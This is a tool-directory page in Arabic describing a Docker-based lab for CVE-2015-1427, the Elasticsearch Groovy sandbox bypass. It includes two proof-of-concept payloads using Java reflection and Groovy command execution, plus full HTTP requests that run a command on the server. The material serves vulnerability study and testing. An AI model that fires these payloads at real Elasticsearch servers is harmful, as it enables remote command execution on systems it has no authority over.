Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Groovy-scripting-engine-CVE-2015-1427 — بيئة مختبرية قائمة على Docker لـ CVE-2015-1427 ElasticSearch لتجاوز صندوق الحماية Groovy وتنفيذ الأكواد عن بعد، مع عرض طريقتين للإثبات باستخدام انعكاس Java وتنفيذ أوامر Groovy. | Kitploit
أدوات/GitHubGitHub/cyberharsh/groovy-scripting-engine-cve-2015-1427
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبالتعلم والتعليم
GitHubcyberharsh/groovy-scripting-engine-cve-2015-1427

Groovy-scripting-engine-CVE-2015-1427

بيئة مختبرية قائمة على Docker لـ CVE-2015-1427 ElasticSearch لتجاوز صندوق الحماية Groovy وتنفيذ الأكواد عن بعد، مع عرض طريقتين للإثبات باستخدام انعكاس Java وتنفيذ أوامر Groovy.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
منذ 6 سنواتلم تتم المراجعة بعد

بيئة اختبار ثغرة تجاوز الصندوق الرملي لـ ElasticSearch Groovy && تنفيذ الكود (CVE-2015-1427)

إصدار jre: openjdk:8-jre

إصدار elasticsearch: v1.4.2

المبدأ

المقالات المرجعية:

  • http://cb.drops.wiki/drops/papers-5107.html
  • http://jordan-wright.com/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/
  • https://github.com/XiphosResearch/exploits
  • http://cb.drops.wiki/drops/papers-5142.html

بعد CVE-2014-3120، تم تغيير لغة البرمجة النصية الديناميكية الافتراضية لـ ElasticSearch إلى Groovy، وتمت إضافة صندوق رملي، لكنه لا يزال يدعم تنفيذ اللغة الديناميكية مباشرة بشكل افتراضي. هذه الثغرة: 1. هي تجاوز للصندوق الرملي؛ 2. هي ثغرة تنفيذ كود Groovy.

لغة Groovy "الصندوق الرملي"

يدعم ElasticSearch استخدام لغة Groovy "في الصندوق الرملي" كنصوص ديناميكية، لكن من الواضح أن العمل الرسمي لم يكن جيدًا. اقترح lupin و tang3 طريقتين لتنفيذ الأوامر:

  1. بما أن هناك صندوق رملي لتنفيذ كود Java، فإن طريقة lupin هي محاولة تجاوز الصندوق الرملي، مثل استخدام انعكاس Java
  2. Groovy كانت لغة في الأصل، لذا اتبع tang3 مسارًا مختلفًا، مستخدمًا الطرق التي تدعمها لغة Groovy لتنفيذ الأوامر مباشرة، دون الحاجة إلى لغة Java

لذا، بناءً على فكرتي الثغرة هاتين، يمكننا الحصول على اثنين من POC مختلفين.

طريقة تجاوز الصندوق الرملي لـ Java:

root@kitploit:~
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()

طريقة تنفيذ الأوامر مباشرة بـ Groovy:

root@kitploit:~
def command='id';def res=command.execute().text;res

اختبار الثغرة

بناء وتشغيل بيئة الاختبار

root@kitploit:~
docker-compose build
docker-compose up -d

نظرًا لأن الاستعلام يتطلب وجود بيانات واحدة على الأقل في es، لذا أرسل حزمة البيانات التالية لإضافة بيانات:

root@kitploit:~
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

{
  "name": "test"
}

ثم أرسل حزمة بيانات تحتوي على الحمولة (payload) لتنفيذ أي أمر:

root@kitploit:~
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}

تنزيل الأداة